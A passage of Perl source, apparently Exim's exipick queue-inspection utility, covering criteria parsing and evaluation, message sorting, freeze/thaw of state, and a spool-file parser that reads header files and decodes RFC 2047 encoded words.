if (\\$@) {\n191       print STDERR \"Error in eval '\\$c->{cmp}': \\$@\\n\";\n192       next MSG;\n193     } elsif (\\$ret) {\n194       \\$match = 1;\n195       if (\\$G::or) { last CRITERIA; }\n196       else        { next CRITERIA; }\n197     } else { # no match\n198       if (\\$G::or) { next CRITERIA; }\n199       else        { next MSG;      }\n200     }\n201   }\n203   # skip this message if any criteria were supplied and it didn't match\n204   next MSG if ((scalar(@\\$crit) || scalar(@local_crit)) && !\\$match);\n206   if (\\$count_only || \\$G::size_only) {\n207     \\$mcount++;\n208     \\$total_size += \\$e->get_var('message_size');\n209   } else {\n210     if (@G::sort) {\n211       # if we are defining criteria to sort on, save the message here.  If\n212       # we don't save here and do the sort later, we have a chicken/egg\n213       # problem\n214       push(@G::to_print, { vars => {}, output => \"\" });\n215       foreach my \\$var (@G::sort) {\n216         # save any values we want to sort on.  I don't like doing the internal\n217         # struct access here, but calling get_var a bunch can be _slow_ =(\n218         \\$G::sort_type{\\$var} ||= '<=>';\n219         \\$G::to_print[-1]{vars}{\\$var} = \\$e->{_vars}{\\$var};\n220         \\$G::sort_type{\\$var} = 'cmp' if (\\$G::to_print[-1]{vars}{\\$var} =~ /\\D/);\n221       }\n222       \\$G::to_print[-1]{output} = \\$e->format_message();\n223     } else {\n224       print \\$e->format_message();\n225     }\n226   }\n228   if (\\$G::freeze) {\n229     freeze_data(\\$e->get_state());\n230     push(@G::frozen_msgs, \\$m);\n231   }\n232 }\n234 if (@G::to_print) {\n235   msg_sort(\\@G::to_print, \\@G::sort, \\$G::reverse);\n236   foreach my \\$msg (@G::to_print) {\n237     print \\$msg->{output};\n238   }\n239 }\n241 if (\\$G::qgrep_c) {\n242   print \"\\$mcount matches out of \\$tcount messages\" .\n243         (\\$G::size_only ? \" (\\$total_size)\" : \"\") . \"\\n\";\n244 } elsif (\\$G::mailq_bpc) {\n245   print \"\\$mcount\" .  (\\$G::size_only ? \" (\\$total_size)\" : \"\") . \"\\n\";\n246 } elsif (\\$G::size_only) {\n247   print \"\\$total_size\\n\";\n248 }\n250 if (\\$G::freeze) {\n251   freeze_message_list(\\@G::frozen_msgs);\n252   freeze_end();\n253 } elsif (\\$G::thaw) {\n254   thaw_end();\n255 }\n257 exit;\n259 # sender_address_domain,shown_message_size\n260 sub msg_sort {\n261   my \\$msgs    = shift;\n262   my \\$vars    = shift;\n263   my \\$reverse = shift;\n265   my @pieces = ();\n266   foreach my \\$v (@G::sort) {\n267     push(@pieces, \"\\\\$a->{vars}{\\\"\\$v\\\"} \\$G::sort_type{\\$v} \\\\$b->{vars}{\\\"\\$v\\\"}\");\n268   }\n269   my \\$sort_str = join(\" || \", @pieces);\n271   @\\$msgs = sort { eval \\$sort_str } (@\\$msgs);\n272   @\\$msgs = reverse(@\\$msgs) if (\\$reverse);\n273 }\n275 sub try_load {\n276   my \\$mod = shift;\n278   eval(\"use \\$mod\");\n279   return \\$@ ? 0 : 1;\n280 }\n282 # FREEZE FILE FORMAT:\n283 # message_data_bytes\n284 # message_data\n285 # <...>\n286 # EOM\n287 # message_list\n288 # message_list_bytes <- 10 bytes, zero-packed, plus \\n\n290 sub freeze_start {\n291   eval(\"use Storable\");\n292   die \"Storable module not found: \\$@\\n\" if (\\$@);\n293   open(O, \">\\$G::freeze\") || die \"Can't open freeze file \\$G::freeze: \\$!\\n\";\n294   \\$G::freeze_handle = \\*O;\n295 }\n297 sub freeze_end {\n298   close(\\$G::freeze_handle);\n299 }\n301 sub thaw_start {\n302   eval(\"use Storable\");\n303   die \"Storable module not found: \\$@\\n\" if (\\$@);\n304   open(I, \"<\\$G::thaw\") || die \"Can't open freeze file \\$G::thaw: \\$!\\n\";\n305   \\$G::freeze_handle = \\*I;\n306 }\n308 sub thaw_end {\n309   close(\\$G::freeze_handle);\n310 }\n312 sub freeze_data {\n313   my \\$h = Storable::freeze(\\$_);\n314   print \\$G::freeze_handle length(\\$h)+1, \"\\n\\$h\\n\";\n315 }\n317 sub freeze_message_list {\n318   my \\$h = Storable::freeze(\\$_);\n319   my \\$l = length(\\$h) + 1;\n320   printf \\$G::freeze_handle \"EOM\\n\\$l\\n\\$h\\n%010d\\n\", \\$l+11+length(\\$l)+1;\n321 }\n323 sub thaw_message_list {\n324   my \\$orig_pos = tell(\\$G::freeze_handle);\n325   seek(\\$G::freeze_handle, -11, 2);\n326   chomp(my \\$bytes = <\\$G::freeze_handle>);\n327   seek(\\$G::freeze_handle, \\$bytes * -1, 2);\n328   my \\$obj = thaw_data();\n329   seek(\\$G::freeze_handle, 0, \\$orig_pos);\n330   return(\\$obj);\n331 }\n333 sub thaw_data {\n334   my \\$obj;\n335   chomp(my \\$bytes = <\\$G::freeze_handle>);\n336   return(undef) if (!\\$bytes || \\$bytes eq 'EOM');\n337   my \\$read = read(I, \\$obj, \\$bytes);\n338   die \"Format error in thaw file (expected \\$bytes bytes, got \\$read)\\n\"\n339       if (\\$bytes != \\$read);\n340   chomp(\\$obj);\n341   return(Storable::thaw(\\$obj));\n342 }\n344 sub process_criteria {\n345   my \\$a = shift;\n346   my @c = ();\n347   my \\$e = 0;\n349   foreach (@\\$a) {\n350     foreach my \\$t ('@') { s/\\$t/\\\\\\$t/g; }\n351     if (/^(.*?)\\s+(<=|>=|==|!=|<|>)\\s+(.*)\\$/) {\n352       #print STDERR \"found as integer\\n\";\n353       my \\$v = \\$1; my \\$o = \\$2; my \\$n = \\$3;\n354       if    (\\$n =~ /^(-?[\\d\\.]+)M\\$/)  { \\$n = \\$1 * 1024 * 1024; }\n355       elsif (\\$n =~ /^(-?[\\d\\.]+)K\\$/)  { \\$n = \\$1 * 1024; }\n356       elsif (\\$n =~ /^(-?[\\d\\.]+)B?\\$/) { \\$n = \\$1; }\n357       elsif (\\$n =~ /^(-?[\\d\\.]+)d\\$/)  { \\$n = \\$1 * 60 * 60 * 24; }\n358       elsif (\\$n =~ /^(-?[\\d\\.]+)h\\$/)  { \\$n = \\$1 * 60 * 60; }\n359       elsif (\\$n =~ /^(-?[\\d\\.]+)m\\$/)  { \\$n = \\$1 * 60; }\n360       elsif (\\$n =~ /^(-?[\\d\\.]+)s?\\$/) { \\$n = \\$1; }\n361       else {\n362         print STDERR \"Expression \\$_ did not parse: numeric comparison with \",\n363                      \"non-number\\n\";\n364         \\$e = 1;\n365         next;\n366       }\n367       push(@c, { var => lc(\\$v), cmp => \"(\\\\$var \\$o \\$n)\" });\n368     } elsif (/^(.*?)\\s+(=~|!~)\\s+(.*)\\$/) {\n369       #print STDERR \"found as string regexp\\n\";\n370       push(@c, { var => lc(\\$1), cmp => \"(\\\"\\\\$var\\\" \\$2 \\$3)\" });\n371     } elsif (/^(.*?)\\s+=\\s+(.*)\\$/) {\n372       #print STDERR \"found as bare string regexp\\n\";\n373       my \\$case = \\$G::caseful ? '' : 'i';\n374       push(@c, { var => lc(\\$1), cmp => \"(\\\"\\\\$var\\\" =~ /\\$2/\\$case)\" });\n375       # quote special characters in perl text string\n376       #foreach my \\$t ('@') { \\$c[-1]{cmp} =~ s/\\$t/\\\\\\$t/g; }\n377     } elsif (/^(.*?)\\s+(eq|ne)\\s+(.*)\\$/) {\n378       #print STDERR \"found as string cmp\\n\";\n379       my \\$var = lc(\\$1); my \\$op = \\$2; my \\$val = \\$3;\n380       \\$val =~ s|^(['\"])(.*)\\1\\$|\\$2|;\n381       push(@c, { var => \\$var, cmp => \"(\\\"\\\\$var\\\" \\$op \\\"\\$val\\\")\" });\n382       if ((\\$var eq 'message_id' || \\$var eq 'message_exim_id') && \\$op eq \"eq\") {\n383         #print STDERR \"short circuit @c[-1]->{cmp} \\$val\\n\";\n384         \\$G::msg_ids->{\\$val} = 1;\n385       }\n386       #foreach my \\$t ('@') { \\$c[-1]{cmp} =~ s/\\$t/\\\\\\$t/g; }\n387     } elsif (/^(\\S+)\\$/) {\n388       #print STDERR \"found as boolean\\n\";\n389       push(@c, { var => lc(\\$1), cmp => \"(\\\\$var)\" });\n390     } else {\n391       print STDERR \"Expression \\$_ did not parse\\n\";\n392       \\$e = 1;\n393       next;\n394     }\n395     # assign the results of the cmp test here (handle \"!\" negation)\n396     # also handle global --not negation\n397     if (\\$c[-1]{var} =~ s|^!||) {\n398       \\$c[-1]{cmp} .= \\$G::negate ? \" ? 1 : 0\" : \" ? 0 : 1\";\n399     } else {\n400       \\$c[-1]{cmp} .= \\$G::negate ? \" ? 0 : 1\" : \" ? 1 : 0\";\n401     }\n402     # support the each_* pseudo variables.  Steal the criteria off of the\n403     # queue for special processing later\n404     if (\\$c[-1]{var} =~ /^each_(recipients(_(un)?del)?)\\$/) {\n405       my \\$var = \\$1;\n406       push(@G::recipients_crit,pop(@c));\n407       \\$G::recipients_crit[-1]{var} = \\$var; # remove each_ from the variable\n408     }\n409   }\n411   exit(1) if (\\$e);\n413   if (\\$G::show_rules) { foreach (@c) { print \"\\$_->{var}\\t\\$_->{cmp}\\n\"; } }\n415   return(\\@c);\n416 }\n418 sub get_all_msgs {\n419   my \\$d = shift();\n420   my \\$i = shift();\n421   my \\$u = shift; # don't sort\n422   my \\$r = shift; # right before returning, reverse order\n423   my \\$o = shift; # if true, randomize list order before returning\n424   my @m = ();\n426   if (\\$i =~ m|^/|) { \\$d = \\$i; } else { \\$d = \\$d . '/' . \\$i; }\n428   opendir(D, \"\\$d\") || die \"Couldn't opendir \\$d: \\$!\\n\";\n429   foreach my \\$e (grep !/^\\./, readdir(D)) {\n430     if (\\$e =~ /^[a-zA-Z0-9]\\$/) {\n431       opendir(DD, \"\\$d/\\$e\") || next;\n432       foreach my \\$f (grep !/^\\./, readdir(DD)) {\n433         push(@m, { message => \\$1, path => \"\\$d/\\$e\" }) if (\\$f =~ /^(.{16})-H\\$/);\n434       }\n435       closedir(DD);\n436     } elsif (\\$e =~ /^(.{16})-H\\$/) {\n437       push(@m, { message => \\$1, path => \\$d });\n438     }\n439   }\n440   closedir(D);\n442   if (\\$o) {\n443     my \\$c = scalar(@m);\n444     # loop twice to pretend we're doing a good job of mixing things up\n445     for (my \\$i = 0; \\$i < 2 * \\$c; \\$i++) {\n446       my \\$rand = int(rand(\\$c));\n447       (\\$m[\\$i % \\$c],\\$m[\\$rand]) = (\\$m[\\$rand],\\$m[\\$i % \\$c]);\n448     }\n449   } elsif (!\\$u) {\n450     @m = sort { \\$a->{message} cmp \\$b->{message} } @m;\n451   }\n452   @m = reverse(@m) if (\\$r);\n454   return(\\@m);\n455 }\n457 BEGIN {\n459 package Exim::SpoolFile;\n461 # versions 4.61 and higher will not need these variables anymore, but they\n462 # are left for handling legacy installs\n463 \\$Exim::SpoolFile::ACL_C_MAX_LEGACY = 10;\n464 #\\$Exim::SpoolFile::ACL_M_MAX _LEGACY= 10;\n466 sub new {\n467   my \\$class = shift;\n468   my \\$self  = {};\n469   bless(\\$self, \\$class);\n471   \\$self->{_spool_dir}        = '';\n472   \\$self->{_input_path}       = '';\n473   \\$self->{_undelivered_only} = 0;\n474   \\$self->{_show_generated}   = 0;\n475   \\$self->{_output_long}      = 1;\n476   \\$self->{_output_idonly}    = 0;\n477   \\$self->{_output_brief}     = 0;\n478   \\$self->{_output_flatq}     = 0;\n479   \\$self->{_output_vars_only} = 0;\n480   \\$self->{_show_vars}        = [];\n482   \\$self->_reset();\n483   return(\\$self);\n484 }\n486 sub output_long {\n487   my \\$self = shift;\n489   \\$self->{_output_long}      = 1;\n490   \\$self->{_output_idonly}    = 0;\n491   \\$self->{_output_brief}     = 0;\n492   \\$self->{_output_flatq}     = 0;\n493   \\$self->{_output_vars_only} = 0;\n494 }\n496 sub output_idonly {\n497   my \\$self = shift;\n499   \\$self->{_output_long}      = 0;\n500   \\$self->{_output_idonly}    = 1;\n501   \\$self->{_output_brief}     = 0;\n502   \\$self->{_output_flatq}     = 0;\n503   \\$self->{_output_vars_only} = 0;\n504 }\n506 sub output_brief {\n507   my \\$self = shift;\n509   \\$self->{_output_long}      = 0;\n510   \\$self->{_output_idonly}    = 0;\n511   \\$self->{_output_brief}     = 1;\n512   \\$self->{_output_flatq}     = 0;\n513   \\$self->{_output_vars_only} = 0;\n514 }\n516 sub output_flatq {\n517   my \\$self = shift;\n519   \\$self->{_output_long}      = 0;\n520   \\$self->{_output_idonly}    = 0;\n521   \\$self->{_output_brief}     = 0;\n522   \\$self->{_output_flatq}     = 1;\n523   \\$self->{_output_vars_only} = 0;\n524 }\n526 sub output_vars_only {\n527   my \\$self = shift;\n529   \\$self->{_output_long}      = 0;\n530   \\$self->{_output_idonly}    = 0;\n531   \\$self->{_output_brief}     = 0;\n532   \\$self->{_output_flatq}     = 0;\n533   \\$self->{_output_vars_only} = 1;\n534 }\n536 sub set_show_vars {\n537   my \\$self = shift;\n538   my \\$s    = shift;\n540   foreach my \\$v (split(/\\s*,\\s*/, \\$s)) {\n541     push(@{\\$self->{_show_vars}}, \\$v);\n542   }\n543 }\n545 sub set_show_generated {\n546   my \\$self = shift;\n547   \\$self->{_show_generated} = shift;\n548 }\n550 sub set_undelivered_only {\n551   my \\$self = shift;\n552   \\$self->{_undelivered_only} = shift;\n553 }\n555 sub error {\n556   my \\$self = shift;\n557   return \\$self->{_error};\n558 }\n560 sub _error {\n561   my \\$self = shift;\n562   \\$self->{_error} = shift;\n563   return(undef);\n564 }\n566 sub _reset {\n567   my \\$self = shift;\n569   \\$self->{_error}       = '';\n570   \\$self->{_delivered}   = 0;\n571   \\$self->{_message}     = '';\n572   \\$self->{_path}        = '';\n573   \\$self->{_vars}        = {};\n574   \\$self->{_vars_raw}    = {};\n576   \\$self->{_numrecips}   = 0;\n577   \\$self->{_udel_tree}   = {};\n578   \\$self->{_del_tree}    = {};\n579   \\$self->{_recips}      = {};\n581   return(\\$self);\n582 }\n584 sub parse_message {\n585   my \\$self = shift;\n587   \\$self->_reset();\n588   \\$self->{_message} = shift || return(0);\n589   \\$self->{_path}    = shift; # optional path to message\n590   return(0) if (!\\$self->{_input_path});\n591   if (!\\$self->{_path} && !\\$self->_find_path()) {\n592     # assume the message was delivered from under us and ignore\n593     \\$self->{_delivered} = 1;\n594     return(1);\n595   }\n596   \\$self->_parse_header() || return(0);\n598   return(1);\n599 }\n601 # take the output of get_state() and set up a message internally like\n602 # parse_message (except from a saved data struct, not by parsing the\n603 # files on disk).\n604 sub restore_state {\n605   my \\$self = shift;\n606   my \\$h    = shift;\n608   return(1) if (\\$h->{_delivered});\n609   \\$self->_reset();\n610   \\$self->{_message} = \\$h->{_message} || return(0);\n611   return(0) if (!\\$self->{_input_path});\n613   \\$self->{_path}      = \\$h->{_path};\n614   \\$self->{_vars}      = \\$h->{_vars};\n615   \\$self->{_numrecips} = \\$h->{_numrecips};\n616   \\$self->{_udel_tree} = \\$h->{_udel_tree};\n617   \\$self->{_del_tree}  = \\$h->{_del_tree};\n618   \\$self->{_recips}    = \\$h->{_recips};\n620   \\$self->{_vars}{message_age} = time() - \\$self->{_vars}{received_time};\n621   return(1);\n622 }\n624 # This returns the state data for a specific message in a format that can\n625 # be later frozen back in to regain state\n626 #\n627 # after calling this function, this specific state is not expect to be\n628 # reused.  That's because we're returning direct references to specific\n629 # internal structures.  We're also modifying the structure ourselves\n630 # by deleting certain internal message variables.\n631 sub get_state {\n632   my \\$self = shift;\n633   my \\$h    = {};    # this is the hash ref we'll be returning.\n635   \\$h->{_delivered} = \\$self->{_delivered};\n636   \\$h->{_message}   = \\$self->{_message};\n637   \\$h->{_path}      = \\$self->{_path};\n638   \\$h->{_vars}      = \\$self->{_vars};\n639   \\$h->{_numrecips} = \\$self->{_numrecips};\n640   \\$h->{_udel_tree} = \\$self->{_udel_tree};\n641   \\$h->{_del_tree}  = \\$self->{_del_tree};\n642   \\$h->{_recips}    = \\$self->{_recips};\n644   # delete some internal variables that we will rebuild later if needed\n645   delete(\\$h->{_vars}{message_body});\n646   delete(\\$h->{_vars}{message_age});\n648   return(\\$h);\n649 }\n651 # keep this sub as a feature if we ever break this module out, but do away\n652 # with its use in exipick (pass it in from caller instead)\n653 sub _find_path {\n654   my \\$self = shift;\n656   return(0) if (!\\$self->{_message});\n657   return(0) if (!\\$self->{_input_path});\n659   # test split spool first on the theory that people concerned about\n660   # performance will have split spool set =).\n661   foreach my \\$f (substr(\\$self->{_message}, 5, 1).'/', '') {\n662     if (-f \"\\$self->{_input_path}/\\$f\\$self->{_message}-H\") {\n663       \\$self->{_path} = \"\\$self->{_input_path}}/\\$f\";\n664       return(1);\n665     }\n666   }\n667   return(0);\n668 }\n670 sub set_spool {\n671   my \\$self = shift;\n672   \\$self->{_spool_dir} = shift;\n673   \\$self->{_input_path} = shift;\n674   if (\\$self->{_input_path} !~ m|^/|) {\n675     \\$self->{_input_path} = \\$self->{_spool_dir} . '/' . \\$self->{_input_path};\n676   }\n677 }\n679 sub get_matching_vars {\n680   my \\$self = shift;\n681   my \\$e    = shift;\n683   if (\\$e =~ /^\\^/) {\n684     my @r = ();\n685     foreach my \\$v (keys %{\\$self->{_vars}}) { push(@r, \\$v) if (\\$v =~ /\\$e/); }\n686     return(@r);\n687   } else {\n688     return(\\$e);\n689   }\n690 }\n692 # accepts a variable with or without leading '\\$' or trailing ':'\n693 sub get_var {\n694   my \\$self = shift;\n695   my \\$var  = lc(shift); \\$var =~ s/^\\\\$//; \\$var =~ s/:\\$//;\n697   if (\\$var eq 'message_body' && !defined(\\$self->{_vars}{message_body})) {\n698     \\$self->_parse_body()\n699   } elsif (\\$var =~ s|^([rb]?h)(eader)?_|\\${1}eader_| &&\n700            exists(\\$self->{_vars}{\\$var}) && !defined(\\$self->{_vars}{\\$var}))\n701   {\n702     if ((my \\$type = \\$1) eq 'rh') {\n703       \\$self->{_vars}{\\$var} = join('', @{\\$self->{_vars_raw}{\\$var}{vals}});\n704     } else {\n705       # both bh_ and h_ build their strings from rh_.  Do common work here\n706       my \\$rh = \\$var; \\$rh =~ s|^b?|r|;\n707       my \\$comma = 1 if (\\$self->{_vars_raw}{\\$rh}{type} =~ /^[BCFRST]\\$/);\n708       foreach (@{\\$self->{_vars_raw}{\\$rh}{vals}}) {\n709         my \\$x = \\$_; # editing \\$_ here would change the original, which is bad\n710         \\$x =~ s|^\\s+||;\n711         \\$x =~ s|\\s+\\$||;\n712         if (\\$comma) { chomp(\\$x); \\$self->{_vars}{\\$var} .= \"\\$x,\\n\"; }\n713         else        { \\$self->{_vars}{\\$var} .= \\$x; }\n714       }\n715       \\$self->{_vars}{\\$var} =~ s|[\\s\\n]*\\$||;\n716       \\$self->{_vars}{\\$var} =~ s|,\\$|| if (\\$comma);\n717       # ok, that's the preprocessing, not do specific processing for h type\n718       if (\\$type eq 'bh') {\n719         \\$self->{_vars}{\\$var} = \\$self->_decode_2047(\\$self->{_vars}{\\$var});\n720       } else {\n721         \\$self->{_vars}{\\$var} =\n722             \\$self->_decode_2047(\\$self->{_vars}{\\$var}, \\$charset);\n723       }\n724     }\n725   }\n726   elsif (\\$var eq 'received_count' && !defined(\\$self->{_vars}{received_count}))\n727   {\n728     \\$self->{_vars}{received_count} =\n729         scalar(@{\\$self->{_vars_raw}{rheader_received}{vals}});\n730   }\n731   elsif (\\$var eq 'message_headers' && !defined(\\$self->{_vars}{message_headers}))\n732   {\n733     \\$self->{_vars}{\\$var} =\n734         \\$self->_decode_2047(\\$self->{_vars}{message_headers_raw}, \\$charset);\n735     chomp(\\$self->{_vars}{\\$var});\n736   }\n737   elsif (\\$var eq 'reply_address' && !defined(\\$self->{_vars}{reply_address}))\n738   {\n739     \\$self->{_vars}{reply_address} = exists(\\$self->{_vars}{\"header_reply-to\"})\n740         ? \\$self->get_var(\"header_reply-to\") : \\$self->get_var(\"header_from\");\n741   }\n743   #chomp(\\$self->{_vars}{\\$var}); # I think this was only for headers, obsolete\n744   return \\$self->{_vars}{\\$var};\n745 }\n747 sub _decode_2047 {\n748   my \\$self = shift;\n749   my \\$s    = shift; # string to decode\n750   my \\$c    = shift; # target charset.  If empty, just decode, don't convert\n751   my \\$t    = '';    # the translated string\n752   my \\$e    = 0;     # set to true if we get an error in here anywhere\n754   return(\\$s) if (\\$s !~ /=\\?/); # don't even bother to look if there's no sign\n756   my @p = ();\n757   foreach my \\$mw (split(/(=\\?[^\\?]{3,}\\?[BQ]\\?[^\\?]{1,74}\\?=)/i, \\$s)) {\n758     next if (\\$mw eq '');\n759     if (\\$mw =~ /=\\?([^\\?]{3,})\\?([BQ])\\?([^\\?]{1,74})\\?=/i) {\n760       push(@p, { data => \\$3, encoding => uc(\\$2), charset => uc(\\$1),\n761                  is_mime => 1 });\n762       if (\\$p[-1]{encoding} eq 'Q') {\n763         my @ow = split('', \\$p[-1]{data});\n764         my @nw = ();\n765         for (my \\$i = 0; \\$i < @ow; \\$i++) {\n766           if (\\$ow[\\$i] eq '_') { push(@nw, ' '); }\n767           elsif (\\$ow[\\$i] eq '=') {\n768             if (scalar(@ow) - (\\$i+1) < 2) {  # ran out of characters\n769               \\$e = 1; last;\n770             } elsif (\\$ow[\\$i+1] !~ /[\\dA-F]/i || \\$ow[\\$i+2] !~ /[\\dA-F]/i) {\n771               \\$e = 1; last;\n772             } else {\n773               #push(@nw, chr('0x'.\\$ow[\\$i+1].\\$ow[\\$i+2]));\n774               push(@nw, pack(\"C\", hex(\\$ow[\\$i+1].\\$ow[\\$i+2])));\n775               \\$i += 2;\n776             }\n777           }\n778           elsif (\\$ow[\\$i] =~ /\\s/) { # whitespace is illegal\n779             \\$e = 1;\n780             last;\n781           }\n782           else { push(@nw, \\$ow[\\$i]); }\n783         }\n784         \\$p[-1]{data} = join('', @nw);\n785       } elsif (\\$p[-1]{encoding} eq 'B') {\n786         my \\$x = \\$p[-1]{data};\n787         \\$x    =~ tr#A-Za-z0-9+/##cd;\n788         \\$x    =~ s|=+\\$||;\n789         \\$x    =~ tr#A-Za-z0-9+/# -_#;\n790         my \\$r = '';\n791         while (\\$x =~ s/(.{1,60})//s) {\n792           \\$r .= unpack(\"u\", chr(32 + int(length(\\$1)*3/4)) . \\$1);\n793         }\n794         \\$p[-1]{data} = \\$r;\n795       }\n796     } else {\n797       push(@p, { data => \\$mw, is_mime => 0,\n798                  is_ws => (\\$mw =~ m|^[\\s\\n]+|sm) ? 1 : 0 });\n799     }\n800   }\n802   for (my \\$i = 0; \\$i < @p; \\$i++) {\n803     # mark entities we want to skip (whitespace between consecutive mimewords)\n804     if (\\$p[\\$i]{is_mime} && \\$p[\\$i+1]{is_ws} && \\$p[\\$i+2]{is_mime}) {\n805       \\$p[\\$i+1]{skip} = 1;\n806     }\n808     # if word is a mimeword and we have access to Encode and charset was\n809     # specified, try to convert text\n810     # XXX _cannot_ get consistent conversion results in perl, can't get them\n811     # to return same conversions that exim performs.  Until I can figure this\n812     # out, don't attempt any conversions (header_ will return same value as\n813     # bheader_).\n814     #if (\\$c && \\$p[\\$i]{is_mime} && \\$self->_try_load('Encode')) {\n815     #  # XXX not sure how to catch errors here\n816     #  Encode::from_to(\\$p[\\$i]{data}, \\$p[\\$i]{charset}, \\$c);\n817     #}\n819     # replace binary zeros w/ '?' in decoded text\n820     if (\\$p[\\$i]{is_mime}) { \\$p[\\$i]{data} =~ s|\\x00|?|g; }\n821   }\n823   if (\\$e) {\n824     return(\\$s);\n825   } else {\n826     return(join('', map { \\$_->{data} } grep { !\\$_->{skip} } @p));\n827   }\n828 }\n830 # This isn't a class func but I'm tired\n831 sub _try_load {\n832   my \\$self = shift;\n833   my \\$mod  = shift;\n835   eval(\"use \\$mod\");\n836   return \\$@ ? 0 : 1;\n837 }\n839 sub _parse_body {\n840   my \\$self = shift;\n841   my \\$f    = \\$self->{_path} . '/' . \\$self->{_message} . '-D';\n842   \\$self->{_vars}{message_body} = \"\"; # define var so we only come here once\n844   open(I, \"<\\$f\") || return(\\$self->_error(\"Couldn't open \\$f: \\$!\"));\n845   chomp(\\$_ = <I>);\n846   return(0) if (\\$self->{_message}.'-D' ne \\$_);\n848   \\$self->{_vars}{message_body} = join('', <I>);\n849   close(I);\n850   \\$self->{_vars}{message_body} =~ s/\\n/ /g;\n851   \\$self->{_vars}{message_body} =~ s/\\000/ /g;\n852   return(1);\n853 }\n855 sub _parse_header {\n856   my \\$self = shift;\n857   my \\$f    = \\$self->{_path} . '/' . \\$self->{_message} . '-H';\n858   \\$self->{_vars}{header_path} = \\$f;\n859   \\$self->{_vars}{data_path}   = \\$self->{_path} . '/' . \\$self->{_message} . '-D';\n861   if (!open(I, \"<\\$f\")) {\n862     # assume message went away and silently ignore\n863     \\$self->{_delivered} = 1;\n864     return(1);\n865   }\n867   # There are a few numeric variables that should explicitly be set to\n868   # zero if they aren't found in the header.  Technically an empty value\n869   # works just as well, but might as well be pedantic\n870   \\$self->{_vars}{body_zerocount}           = 0;\n871   \\$self->{_vars}{host_lookup_deferred}     = 0;\n872   \\$self->{_vars}{host_lookup_failed}       = 0;\n873   \\$self->{_vars}{tls_certificate_verified} = 0;\n875   chomp(\\$_ = <I>);\n876   return(0) if (\\$self->{_message}.'-H' ne \\$_);\n877   \\$self->{_vars}{message_id}       = \\$self->{_message};\n878   \\$self->{_vars}{message_exim_id}  = \\$self->{_message};\n880   # line 2\n881   chomp(\\$_ = <I>);\n882   return(0) if (!/^(.+)\\s(\\-?\\d+)\\s(\\-?\\d+)\\$/);\n883   \\$self->{_vars}{originator_login} = \\$1;\n884   \\$self->{_vars}{originator_uid}   = \\$2;\n885   \\$self->{_vars}{originator_gid}   = \\$3;\n887   # line 3\n888   chomp(\\$_ = <I>);\n889   return(0) if (!/^<(.*)>\\$/);\n890   \\$self->{_vars}{sender_address}   = \\$1;\n891   \\$self->{_vars}{sender_address_domain} = \\$1;\n892   \\$self->{_vars}{sender_address_local_part} = \\$1;\n893   \\$self->{_vars}{sender_address_domain} =~ s/^.*\\@//;\n894   \\$self->{_vars}{sender_address_local_part} =~ s/^(.*)\\@.*\\$/\\$1/;\n896   # line 4\n897   chomp(\\$_ = <I>);\n898   return(0) if (!/^(\\d+)\\s(\\d+)\\$/);\n899   \\$self->{_vars}{received_time}    = \\$1;\n900   \\$self->{_vars}{warning_count}    = \\$2;\n901   \\$self->{_vars}{message_age}      = time() - \\$self->{_vars}{received_time};\n903   while (<I>) {\n904     chomp();\n905     if (/^(-\\S+)\\s*(.*\\$)/) {\n906       my \\$tag = \\$1;\n907       my \\$arg = \\$2;\n908       if (\\$tag eq '-acl') {\n909         my \\$t;\n910         return(0) if (\\$arg !~ /^(\\d+)\\s(\\d+)\\$/);\n911         if (\\$1 < \\$Exim::SpoolFile::ACL_C_MAX_LEGACY) {\n912           \\$t = \"acl_c\\$1\";\n913         } else {\n914           \\$t = \"acl_m\" . (\\$1 - \\$Exim::SpoolFile::ACL_C_MAX_LEGACY);\n915         }\n916         read(I, \\$self->{_vars}{\\$t}, \\$2+1) || return(0);\n917         chomp(\\$self->{_vars}{\\$t});\n918       } elsif (\\$tag eq '-aclc') {\n919         #return(0) if (\\$arg !~ /^(\\d+)\\s(\\d+)\\$/);\n920         return(0) if (\\$arg !~ /^(\\S+)\\s(\\d+)\\$/);\n921         my \\$t = \"acl_c\\$1\";\n922         read(I, \\$self->{_vars}{\\$t}, \\$2+1) || return(0);\n923         chomp(\\$self->{_vars}{\\$t});\n924       } elsif (\\$tag eq '-aclm') {\n925         #return(0) if (\\$arg !~ /^(\\d+)\\s(\\d+)\\$/);\n926         return(0) if (\\$arg !~ /^(\\S+)\\s(\\d+)\\$/);\n927         my \\$t = \"acl_m\\$1\";\n928         read(I, \\$self->{_vars}{\\$t}, \\$2+1) || return(0);\n929         chomp(\\$self->{_vars}{\\$t});\n930       } elsif (\\$tag eq '-local') {\n931         \\$self->{_vars}{sender_local} = 1;\n932       } elsif (\\$tag eq '-localerror') {\n933         \\$self->{_vars}{local_error_message} = 1;\n934       } elsif (\\$tag eq '-local_scan') {\n935         \\$self->{_vars}{local_scan_data} = \\$arg;\n936       } elsif (\\$tag eq '-spam_score_int') {\n937         \\$self->{_vars}{spam_score_int} = \\$arg;\n938         \\$self->{_vars}{spam_score}     = \\$arg / 10;\n939       } elsif (\\$tag eq '-bmi_verdicts') {\n940         \\$self->{_vars}{bmi_verdicts} = \\$arg;\n941       } elsif (\\$tag eq '-host_lookup_deferred') {\n942         \\$self->{_vars}{host_lookup_deferred} = 1;\n943       } elsif (\\$tag eq '-host_lookup_failed') {\n944         \\$self->{_vars}{host_lookup_failed} = 1;\n945       } elsif (\\$tag eq '-body_linecount') {\n946         \\$self->{_vars}{body_linecount} = \\$arg;\n947       } elsif (\\$tag eq '-max_received_linelength') {\n948         \\$self->{_vars}{max_received_linelength} = \\$arg;\n949       } elsif (\\$tag eq '-body_zerocount') {\n950         \\$self->{_vars}{body_zerocount} = \\$arg;\n951       } elsif (\\$tag eq '-frozen') {\n952         \\$self->{_vars}{deliver_freeze} = 1;\n953         \\$self->{_vars}{deliver_frozen_at} = \\$arg;\n954       } elsif (\\$tag eq '-allow_unqualified_recipient') {\n955         \\$self->{_vars}{allow_unqualified_recipient} = 1;\n956       } elsif (\\$tag eq '-allow_unqualified_sender') {\n957         \\$self->{_vars}{allow_unqualified_sender} = 1;\n958       } elsif (\\$tag eq '-deliver_firsttime') {\n959         \\$self->{_vars}{deliver_firsttime} = 1;\n960         \\$self->{_vars}{first_delivery} = 1;\n961       } elsif (\\$tag eq '-manual_thaw') {\n962         \\$self->{_vars}{deliver_manual_thaw} = 1;\n963         \\$self->{_vars}{manually_thawed} = 1;\n964       } elsif (\\$tag eq '-auth_id') {\n965         \\$self->{_vars}{authenticated_id} = \\$arg;\n966       } elsif (\\$tag eq '-auth_sender') {\n967         \\$self->{_vars}{authenticated_sender} = \\$arg;\n968       } elsif (\\$tag eq '-sender_set_untrusted') {\n969         